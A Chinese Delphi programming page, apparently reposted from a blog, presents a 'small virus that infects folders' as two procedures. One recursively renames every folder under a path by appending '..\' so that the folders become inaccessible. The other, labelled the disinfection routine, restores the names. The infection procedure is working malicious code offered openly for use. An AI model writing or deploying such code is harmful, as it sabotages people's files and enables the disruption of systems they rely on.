delphi 编写的一个感染文件夹的小病毒  
官方Delphi 学习QQ群: 682628230(三千人)
频道

delphi 编写的一个感染文件夹的小病毒


感染函数
procedure TForm1.EnCrypt(pPath:string);
var
lCount,i:Integer;
lNewName,lFileName:string;
lStringList:TStringList;
begin
lStringList:=GetDirTreeList(pPath);
lCount:=lStringList.Count-1;
for i:=lCount downto 0 do
begin
lFileName:=lStringList.Strings[i];
lNewName:=lFileName+'..\';
if DirectoryExists(lFileName) then
begin
ReNameFile(lFileName,lNewName)
end;
end;
end;
杀毒函数
procedure TForm1.DeCrypt(pPath: string);
var
lStringList:TStringList;
lNameLength,i:Integer;
lNewFileName,lOldFileName:string;
SearchRec:TSearchRec;
begin
lStringList:=TStringList.Create;
lStringList:=GetDirTreeList(pPath);
for i := 0 to lStringList.Count-1 do
begin
lOldFileName:=lStringList.Strings[i]+'.\';
lNameLength:=Length(lOldFileName);
lNewFileName:=Copy(lOldFileName,1,lNameLength-3);
ReNameFile(lOldFileName,lNewFileName);
DeCrypt(lNewFileName);
end;
end;

出处http://bigpower.blog.51cto.com/209892/114715


推荐分享
图文皆来源于网络,内容仅做公益性分享,版权归原作者所有,如有侵权请告知删除!
 

Copyright © 2014 DelphiW.com 开发 源码 文档 技巧 All Rights Reserved
晋ICP备14006235号-8 晋公网安备 14108102000087号

执行时间: 0.036262035369873 seconds